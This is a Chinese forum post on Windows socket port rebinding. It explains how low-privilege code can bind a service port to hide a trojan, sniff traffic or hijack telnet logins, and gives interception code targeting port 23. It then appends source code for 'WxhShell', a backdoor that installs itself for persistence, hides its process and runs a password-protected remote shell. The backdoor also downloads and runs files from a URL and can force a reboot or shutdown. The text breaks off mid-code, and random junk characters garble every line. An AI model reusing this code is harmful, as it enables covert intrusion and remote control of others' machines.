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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: [wHGt?R  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *}mk$bA  
565UxG }  
  saddr.sin_family = AF_INET; 0)=U:y.  
K"lZwU\:On  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); "UUzLa_  
;JQ:S~K9  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); q]}fW)r  
;onhc*{lv  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 i7N|p9O.  
qX,T X 3  
  这意味着什么?意味着可以进行如下的攻击: z"[}Sk  
^*!Tq&Dst|  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 z=YHRS  
r$7zk<01  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) W|NT*g{;M  
a!iG;:K   
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 ){~]-VK  
F#<$yUf%  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  14U:.Q  
P*9vs%W  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Jat|n97$  
'Ipp1a Z_M  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 UBj"m<  
^5{M@o  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 =t,}I\_^c  
C"X; ,F<  
  #include Cp[{| U-?G  
  #include G a1B&@T  
  #include 9c `Vrlu  
  #include    >P-{2 a,4  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ExJch\  
  int main() 'fIBJ3s[o  
  { g!<=NVhYt  
  WORD wVersionRequested; 0+H4sz%.  
  DWORD ret; 1?!z<<  
  WSADATA wsaData; gHL v zm  
  BOOL val; o \r6 iO  
  SOCKADDR_IN saddr; MlbQLtw  
  SOCKADDR_IN scaddr; @fjVCc;  
  int err; 'aLTiF+  
  SOCKET s; [PRQa[_  
  SOCKET sc; qKL :#ny  
  int caddsize; bUcq LV  
  HANDLE mt; 3W <_J_[  
  DWORD tid;   [ \41  
  wVersionRequested = MAKEWORD( 2, 2 ); 86_`Z$ s  
  err = WSAStartup( wVersionRequested, &wsaData ); C71\9K*X  
  if ( err != 0 ) { yu^n;gWH  
  printf("error!WSAStartup failed!\n"); "2J$~2{N  
  return -1; Hi V7  
  } -chk\75  
  saddr.sin_family = AF_INET; 3G r:.V9=  
   *=b# >//  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oM<Y o%n  
)p?p39>h  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); &_1Ivaen6  
  saddr.sin_port = htons(23); e#R'_}\yj  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) *_Sx^`"X`l  
  { @'D ,T^I  
  printf("error!socket failed!\n"); -D?-ctFYj^  
  return -1; .YYLMI  
  } J.t tJOP  
  val = TRUE; pb`!_GmB  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 mrc% 6Ri  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) # Vq"Cf  
  { o?T01t=  
  printf("error!setsockopt failed!\n"); z8 n=\xL  
  return -1; A7eF.V&  
  } 0\/cTNN  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7QnQ=gu  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 h#EksX  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 /kK%}L_D  
?H30  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0q4E^}iR  
  { n91@{U)QJ3  
  ret=GetLastError(); = nIl$9  
  printf("error!bind failed!\n"); I4Y; 9Gg  
  return -1; v"Z`#Bi  
  } !}+rg2  
  listen(s,2); z[E gMS!  
  while(1) . #7B10  
  { Y<h [5  
  caddsize = sizeof(scaddr); [UW%(N  
  //接受连接请求 AJ%x"  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); 8i?Hh?Mf}  
  if(sc!=INVALID_SOCKET) da,;IE{1u  
  { m h5ozv$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ytsPk2@WR  
  if(mt==NULL) AhNy+p{  
  { ^ y1P~4w?  
  printf("Thread Creat Failed!\n"); +CQ$-3  
  break; 7?[{/`k~?  
  } o 5;V=8T;  
  } [0lu&ak[&  
  CloseHandle(mt); @/DHfs4O  
  } Q+r8qnL'  
  closesocket(s); p3f>;|uh_  
  WSACleanup(); d^.@~  
  return 0; kN'.e*  
  }   KcW]"K>p!  
  DWORD WINAPI ClientThread(LPVOID lpParam) r6x"D3  
  { Z'@a@Y+  
  SOCKET ss = (SOCKET)lpParam; l7p*: :(9  
  SOCKET sc; !(&N{NH9  
  unsigned char buf[4096]; v[}g+3a  
  SOCKADDR_IN saddr; \/ 9s<  
  long num; s?}m~Pl  
  DWORD val; sz?/4tY  
  DWORD ret; ~?BN4ptc  
  //如果是隐藏端口应用的话,可以在此处加一些判断 yn;sd+:z  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   c}l?x \/  
  saddr.sin_family = AF_INET; Z(gW(O9h.V  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); s .xJ},E9  
  saddr.sin_port = htons(23); L<` p;?   
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ;O Td<  
  { piy_9nk  
  printf("error!socket failed!\n"); ;FI"N@z  
  return -1; kCuIEv@  
  } LY? `+/  
  val = 100; H:x{qS4Si  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ivi,/~L  
  { X / {;  
  ret = GetLastError(); LYV\|a{Y  
  return -1; 6Z,j^: B  
  } 5|pPzEA>  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %YhM?jMW  
  { 0IP5 &[-P  
  ret = GetLastError(); HK/T`p#  
  return -1; u\uYq  
  } >bo_  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)  55<f  
  { eX1<zzd  
  printf("error!socket connect failed!\n"); Px$4.b[{_Y  
  closesocket(sc); fz hCV  
  closesocket(ss); ZB|y  
  return -1; F(5(cr 7K  
  } TSPFi0PP  
  while(1) lZI?k=rWv  
  { ": G\  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j1sZRl)D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 |oL}c!0vs  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 .8I\=+Zi  
  num = recv(ss,buf,4096,0); T*'?;u  
  if(num>0) %~$P.Zh  
  send(sc,buf,num,0); w:0=L`<Eu  
  else if(num==0) jIOrB}  
  break; x U1](O  
  num = recv(sc,buf,4096,0); ux 7^PTgcO  
  if(num>0) Te:4 z@?  
  send(ss,buf,num,0); L]_1z  
  else if(num==0) 1lf 5xm.  
  break;  6[{|'  
  } q!sazVaDp  
  closesocket(ss); =D@+_7\?  
  closesocket(sc); 6y4&nTq[  
  return 0 ; x9NcIa9  
  } ^#Ruw?D  
n!Dy-)!`O  
IL\2?(&Z  
========================================================== 1J tt\yq  
 r*gQGvc  
下边附上一个代码,,WXhSHELL (/oHj^>3N`  
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========================================================== {imz1g;  
tzKIi_2  
#include "stdafx.h" @+,J^[ y  
h>A~..  
#include <stdio.h> Ns*&;x9  
#include <string.h> !MNnau%O  
#include <windows.h> rda/  
#include <winsock2.h> R[l9f8  
#include <winsvc.h> .>.B  
#include <urlmon.h> NukcBH  
.0[ zZ  
#pragma comment (lib, "Ws2_32.lib") x  bsk  
#pragma comment (lib, "urlmon.lib") 8^8fUN4<=  
2(<2Gnpl  
#define MAX_USER   100 // 最大客户端连接数 !pwY@} oL  
#define BUF_SOCK   200 // sock buffer bIR&e E  
#define KEY_BUFF   255 // 输入 buffer 04u^Q  
Yr\pgK,  
#define REBOOT     0   // 重启 WLB@]JvTBY  
#define SHUTDOWN   1   // 关机 *T+Bjj;w  
^Qx qv  
#define DEF_PORT   5000 // 监听端口 ."u-5r<O  
{4%B^+}T  
#define REG_LEN     16   // 注册表键长度 VXM5 B  
#define SVC_LEN     80   // NT服务名长度 Uh9p ,AV  
bu j}pEI  
// 从dll定义API 9MI~yIt`L  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 4=T.rVS[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^>3q@,C]c  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); sFvu@Wm'7W  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); I &jiH)  
q3CcXYY  
// wxhshell配置信息 ecZT|X4u  
struct WSCFG { HoTg7/iK  
  int ws_port;         // 监听端口 ? _>L<Y  
  char ws_passstr[REG_LEN]; // 口令 YoT< ]'  
  int ws_autoins;       // 安装标记, 1=yes 0=no d[p-zn.  
  char ws_regname[REG_LEN]; // 注册表键名 fH#*r|~  
  char ws_svcname[REG_LEN]; // 服务名 49gm=XPm  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 3.c0PRZ  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 8~~*/oCoJt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 9Ez>srH(  
int ws_downexe;       // 下载执行标记, 1=yes 0=no e)#O-y  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" /p&V72  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Q^|ZoJS  
I 19 /  
}; WPN4mEow  
D<DSK~  
// default Wxhshell configuration ^~iFG+g5  
struct WSCFG wscfg={DEF_PORT, tz).]E D  
    "xuhuanlingzhe", 8c6dTT4  
    1, qir/Sa' [  
    "Wxhshell", 4IT`8n~  
    "Wxhshell", (iT?uMRz  
            "WxhShell Service", EINjI:/D  
    "Wrsky Windows CmdShell Service", hI^Hqv  
    "Please Input Your Password: ", y,.X5#rnX*  
  1, P Tc@MH)  
  "http://www.wrsky.com/wxhshell.exe", h^)R}jy+f  
  "Wxhshell.exe" YEbB3N  
    }; pKnM=N1f  
,"@Tm01os  
// 消息定义模块 R?/!7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; FK^JCs^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; <fZ?F=  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Ci}v+  
char *msg_ws_ext="\n\rExit."; +i@r-OL   
char *msg_ws_end="\n\rQuit."; 2$fFl,v!z  
char *msg_ws_boot="\n\rReboot..."; &J <km  
char *msg_ws_poff="\n\rShutdown..."; C,;hNg[  
char *msg_ws_down="\n\rSave to "; ]z%X%wL  
5Dhpcgq<<  
char *msg_ws_err="\n\rErr!"; {D6E@a  
char *msg_ws_ok="\n\rOK!"; kwcH$w<I  
"\n,vNk  
char ExeFile[MAX_PATH]; 0c$0<2D%  
int nUser = 0; 0Bo7EV  
HANDLE handles[MAX_USER]; 6c?;-5.  
int OsIsNt; :nt 7jm,  
w[WyT`6h!  
SERVICE_STATUS       serviceStatus; 6<uJ}3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 8@}R_GZc  
+# 38  
// 函数声明 tm"9`   
int Install(void); Qh0tU<jG  
int Uninstall(void); /9K,W)h_  
int DownloadFile(char *sURL, SOCKET wsh); AB.gVw| 4  
int Boot(int flag);  /z0X  
void HideProc(void); L,m'/}$  
int GetOsVer(void); :3uCW1  
int Wxhshell(SOCKET wsl); hJkSk;^  
void TalkWithClient(void *cs); J0 [^hH  
int CmdShell(SOCKET sock); `YK2hr  
int StartFromService(void); |qn`z-  
int StartWxhshell(LPSTR lpCmdLine); ,vxxp]#5  
Y`O"+Jr  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fku\O<1  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); HP$GI  
pBd_Ba N  
// 数据结构和表定义 'V*ixK8R0  
SERVICE_TABLE_ENTRY DispatchTable[] = ="k9 y  
{ xD:t$~  
{wscfg.ws_svcname, NTServiceMain}, TjU g8k  
{NULL, NULL} M_:_(y>l  
}; @y|ZXPC#  
S,=#b 4\#%  
// 自我安装 pd3=^ Zi  
int Install(void) MR) *Xh  
{ ?$ft3p}  
  char svExeFile[MAX_PATH]; \~LwlOo%R  
  HKEY key; _7)>/YK?}4  
  strcpy(svExeFile,ExeFile); B"07:sO  
8|Q=9mmWOh  
// 如果是win9x系统,修改注册表设为自启动 ^AI5SjOUx  
if(!OsIsNt) { ];3]/b)&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 56|o6-a^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ^PNE6  
  RegCloseKey(key); <l:c O$ m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (O&R-5m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); s>RtCw3,  
  RegCloseKey(key); S .KZ)  
  return 0; B7*^rbI:X  
    } h()Ok9]  
  } w$D&LA}(M  
} h^H~q<R[T  
else { v$P<:M M  
RS8tE(  
// 如果是NT以上系统,安装为系统服务 mMz^I7$  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 9AA_e ~y  
if (schSCManager!=0) kF1Tg KSd  
{ $X>$)U'p&-  
  SC_HANDLE schService = CreateService 6t,_Xqg*  
  ( w%3R[Kdzk  
  schSCManager, >Q`\|m}x)Q  
  wscfg.ws_svcname, )jS9p~FS  
  wscfg.ws_svcdisp, hk +@ngh%  
  SERVICE_ALL_ACCESS, Q^B !^_M  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , d,hKy2  
  SERVICE_AUTO_START, ^|P/D  
  SERVICE_ERROR_NORMAL, -$x5[6bN  
  svExeFile, ;Nd,K C0k  
  NULL, ]]EOCGZ"  
  NULL, $=IJ-_'o  
  NULL, 6*{sZMG  
  NULL, 3eg)O34  
  NULL 8Hdm(>  
  ); <$V!y dO  
  if (schService!=0) w;p: 4`  
  { 4YT d  
  CloseServiceHandle(schService); ; qQ* p  
  CloseServiceHandle(schSCManager); mmJ$+$JEk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cLZaQsS%  
  strcat(svExeFile,wscfg.ws_svcname); !U 6 x_  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Xcy Xju#"p  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d'x'hp%  
  RegCloseKey(key); wa)E.(x  
  return 0; [!<W{ ($5  
    } oZ /z{`  
  } /^2&@P7  
  CloseServiceHandle(schSCManager); wT taj08D  
} )zKZ<;#y  
} 4P>4d +  
)Rlh[Y& r  
return 1; 1 m>x5Dbk!  
} ^z _m<&r  
#},4m  
// 自我卸载 kT=KxS{  
int Uninstall(void) R)>F*GsR  
{ ?}n\&|+  
  HKEY key; &nRbI:R  
qgk-[zW#  
if(!OsIsNt) { =!~6RwwwY  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { odm!}stus  
  RegDeleteValue(key,wscfg.ws_regname); >U.f`24  
  RegCloseKey(key); w]% |^:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { /'ukeK+'  
  RegDeleteValue(key,wscfg.ws_regname); Jtv~n  
  RegCloseKey(key); g]ct6-m  
  return 0; a%IJ8t+mn  
  } ]46-TuH  
} 3jJd)C R  
} G]$.bq[v  
else { }(yX$ 3?`  
d,"6s=4(q  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ZJod=^T  
if (schSCManager!=0) HgY>M`U  
{ /Tc I  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); |E(`9  
  if (schService!=0) ZDhl$m [m  
  { JDI1l_Ga  
  if(DeleteService(schService)!=0) { : U Yn  
  CloseServiceHandle(schService); *%(BE*C}  
  CloseServiceHandle(schSCManager); zYz0R:@n+  
  return 0; mDG=h6y"V  
  } hb,G'IU  
  CloseServiceHandle(schService); #\{j/{VZ  
  } G'dN_6ho3  
  CloseServiceHandle(schSCManager); 1c2zFBl.&  
} !e0OGf  
} .O1Kwu  
9[9 ZI1*s  
return 1; M In6p  
} aOOkC&%  
 (H*EZ  
// 从指定url下载文件 z+=wql*Eo  
int DownloadFile(char *sURL, SOCKET wsh) 6z-&Zu7@  
{ KJLC2,  
  HRESULT hr; xV}ybRKV  
char seps[]= "/"; q ?qpUPzD  
char *token; ,5 A&  
char *file; i+Fk  
char myURL[MAX_PATH]; h%0FKi^  
char myFILE[MAX_PATH]; ,iy;L_N  
Z'V"nhL  
strcpy(myURL,sURL); ]rY3bG'&  
  token=strtok(myURL,seps); zfBaB0P  
  while(token!=NULL) q '  
  { h=7eOK]  
    file=token; zNo(|;19  
  token=strtok(NULL,seps); 'y? HF@NJ  
  } KsG>,# Q  
s7(I  
GetCurrentDirectory(MAX_PATH,myFILE); ,RYahu  
strcat(myFILE, "\\"); Li{R?Osx  
strcat(myFILE, file); EXz{Pqz  
  send(wsh,myFILE,strlen(myFILE),0); "+BNas^rF  
send(wsh,"...",3,0); _]/&NSk  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); M6MtE_E  
  if(hr==S_OK) @&4s)&-F  
return 0; }vof| (Yh  
else "x"y3v'  
return 1; h{BO\^6x  
_ITA$ #  
} 9si,z  
mKh <M)Bz  
// 系统电源模块 F VVpyB|  
int Boot(int flag) LL}b]B[  
{ M,WC+")Z=  
  HANDLE hToken; {-'S#04  
  TOKEN_PRIVILEGES tkp; 4pw:O^v  
R c.8j,]  
  if(OsIsNt) { k@RIM(^t  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); E{#Y=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); F# a)"$j;  
    tkp.PrivilegeCount = 1; /`x)B(b  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; NU#rv%p  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); -y1t;yU.L  
if(flag==REBOOT) { {R{Io|   
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) eCI0o5U  
  return 0; EvJ"%:bp  
} J]=2] oI2  
else { w?db~"T  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FE[{*8  
  return 0; : ~R:[T2P  
} y9@DlK  
  } ,x. 2kb  
  else { 8g!C'5  
if(flag==REBOOT) { ]B'H(o R<|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j}dev pO  
  return 0; VJ'bS9/T  
} 1qgzb  
else { Dn9AOi!  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Pqc +pE  
  return 0; 4[$D3,A  
} jh*aD=y  
} {+.ai8  
R2%>y5dD  
return 1;  &9*MO  
} % w0Vf$  
(q|EC;   
// win9x进程隐藏模块 [L+VvO%cT  
void HideProc(void) <s737Rl  
{ 1MF0HiC  
kpU-//lk+  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); TM1D|H  
  if ( hKernel != NULL ) ktMUTL(B  
  { V(LE4P 1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); HxXCxI3  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); nP+]WUnY  
    FreeLibrary(hKernel); zs_^m1t1s  
  } ,aLdW,<6  
5csqu^/y  
return; i H^Gv*  
} +#/`4EnI  
Wz^M*=,  
// 获取操作系统版本 DwLl}{r'  
int GetOsVer(void) sJHN4  
{ Fm3f/]>k#_  
  OSVERSIONINFO winfo; 6x _tX  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 4)4E/q/5  
  GetVersionEx(&winfo); 1hT!~'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ]F]!>dKA  
  return 1; |,G=k,?_p  
  else L9FijF7  
  return 0; E{-W#}#  
} F|seBBu  
&d8z`amP  
// 客户端句柄模块 ;J)8#|  
int Wxhshell(SOCKET wsl) PilV5Gg  
{ Q.N, Q`P  
  SOCKET wsh; Owa]ax5  
  struct sockaddr_in client; f/&k $,w  
  DWORD myID; mu!hD^fw  
mh4`,N  
  while(nUser<MAX_USER) W97%12J3  
{ t#p*{S 3u  
  int nSize=sizeof(client); J6) &b7  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); H3?HQ>&O7  
  if(wsh==INVALID_SOCKET) return 1;  EK:s#  
s|1BqoE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); kr_!AW<.tz  
if(handles[nUser]==0) 5G-}'-R  
  closesocket(wsh); ,3zF_y(*Y  
else ?B&@  
  nUser++; ~<%/)d0  
  } <KFE.\*Z4  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2`o}neF{  
PKx ewd  
  return 0; X2MQa:yksP  
} QqC4g]  
~[CtsCiQ  
// 关闭 socket :LuzKCvBP  
void CloseIt(SOCKET wsh) l[2 d{r  
{ U~mv1V^.  
closesocket(wsh); G2nL#l~@)  
nUser--; q]\bJV^/U  
ExitThread(0); ;Ly(O'9  
} 9P3jx)K  
tp3>aNj  
// 客户端请求句柄 myVV5#{  
void TalkWithClient(void *cs) +b7}R7:AFH  
{ ,u^S(vxyz  
Rv)!p~V8  
  SOCKET wsh=(SOCKET)cs; &~u=vuX  
  char pwd[SVC_LEN]; Z(S=2r.  
  char cmd[KEY_BUFF]; y=H^U.  
char chr[1]; m})q8b!S  
int i,j; 93Yo }6>  
LWB"}#vt  
  while (nUser < MAX_USER) { ;BEg"cm  
ZwLD7j*)  
if(wscfg.ws_passstr) { brkR,(#L3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8QeM6;^/5  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ZD9UE3-  
  //ZeroMemory(pwd,KEY_BUFF); EBY=ccGE{  
      i=0; 6 1= ?(Iw  
  while(i<SVC_LEN) { 1@nGD<,.  
O?8^I<  
  // 设置超时 o |7]8K=  
  fd_set FdRead; *-timVlaE  
  struct timeval TimeOut; g<[_h(xDeG  
  FD_ZERO(&FdRead); ];waK 2'2  
  FD_SET(wsh,&FdRead); o0~+%&  
  TimeOut.tv_sec=8; Vrf+ ~KO7  
  TimeOut.tv_usec=0; wX6VapFboI  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ()}B]?  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2&E1)^  
 H}NW?  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J}7iXTh  
  pwd=chr[0]; K?_4|  
  if(chr[0]==0xd || chr[0]==0xa) { //G5lW/*  
  pwd=0; -{>Nrx|  
  break; bA-=au?o5  
  } ex8mA6g  
  i++; DT #1*&-  
    } W"fdK_F\  
;l_%;O5  
  // 如果是非法用户,关闭 socket 5=g{%X  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H#8]Lb@@:  
} im^G{3z  
<CL0@?*i9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 93%U;0w[Nw  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); EA 4a Z6%  
1Y410-.3w{  
while(1) { ZoB?F  
8#S|j BV  
  ZeroMemory(cmd,KEY_BUFF); H~+D2A  
x~xaE*r  
      // 自动支持客户端 telnet标准   ?Zu=UVb  
  j=0; "A^9WhUpJ  
  while(j<KEY_BUFF) { 3Juhn5&N  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xaWd \]UF  
  cmd[j]=chr[0]; y";{k+  
  if(chr[0]==0xa || chr[0]==0xd) { 'DlY8rEGP  
  cmd[j]=0; E9 {Gaa/{  
  break; >Vc_.dR)E  
  } &|xN=U/  
  j++; Yt2_*K@rC  
    } I ms?^`N  
J0w[vrs&]  
  // 下载文件 vk+TWf  
  if(strstr(cmd,"http://")) { kRnh20I  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); E0}`+x  
  if(DownloadFile(cmd,wsh)) ?3Wh. %n  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4~4PZ  
  else }4Lv-9s,  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~f 2H@#  
  } ~.mnxn  
  else { DM{ 7x77  
B[ooT3V  
    switch(cmd[0]) { qHg\n)R"x!  
  eh nN  
  // 帮助 ^x %yIS  
  case '?': { ^-PlTmT  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); b&~rZ  
    break; J@(=#z8xS  
  } Jg3}U j2By  
  // 安装 $zbm!._~DA  
  case 'i': { +ww paR`  
    if(Install()) Z T95g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); pq+Gsu1^  
    else -MJ6~4k2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); F4>}mIA  
    break; ;^lVIS%&{  
    } ^o,Hu#  
  // 卸载 ]K?z|&N|HK  
  case 'r': { fXvJ3w(  
    if(Uninstall()) o\1"ux;b  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,d<wEB?\`  
    else A!H6$-W|p  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Pe!uk4}w  
    break; _sbZyL  
    } "T?%4^:g  
  // 显示 wxhshell 所在路径 KQaw*T[Q3w  
  case 'p': { ["Ep.7=SU  
    char svExeFile[MAX_PATH]; :)t1>y>3  
    strcpy(svExeFile,"\n\r"); h|mh_T{+  
      strcat(svExeFile,ExeFile); }4ijLX>b  
        send(wsh,svExeFile,strlen(svExeFile),0); U:c!9uhp  
    break; }E[S%W[  
    } X3".  
  // 重启 Sb>;k(;`:  
  case 'b': { $T tCVR  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); U%"c@%B0  
    if(Boot(REBOOT)) {$bAs9L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &!2 4l=!  
    else { O1Ey{2Q  
    closesocket(wsh); ueDG1)  
    ExitThread(0); Ti#2D3  
    } sKB])mf]  
    break; uXxyw7\W  
    } TjncW/\Z  
  // 关机 D&0*+6j((  
  case 'd': { o?b$}Qrl  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .d^8w97  
    if(Boot(SHUTDOWN)) eEb(TG~,Y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); o>311(:  
